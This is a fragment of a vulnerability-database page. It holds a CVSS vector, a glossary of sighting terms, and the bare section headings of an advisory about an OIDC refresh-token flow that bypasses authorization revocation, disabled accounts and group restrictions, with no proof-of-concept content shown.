      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-W6P7-2FXX-4F44

OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions

Summary

Target

Root Cause

Proof of Concept (Verified Live)

Variant 1: Authorization Revocation Bypass

Variant 2: Disabled User Bypass

Variant 3: Group Restriction Bypass

Impact

Related

Suggested Fix

Primary fix: Re-validate authorization state in createTokenFromRefreshToken

Secondary fix: Delete refresh tokens on authorization revocation

Self-Review

CVE-2026-43983 (GCVE-0-2026-43983)

PYSEC-2026-30

Tags

Sightings

Nomenclature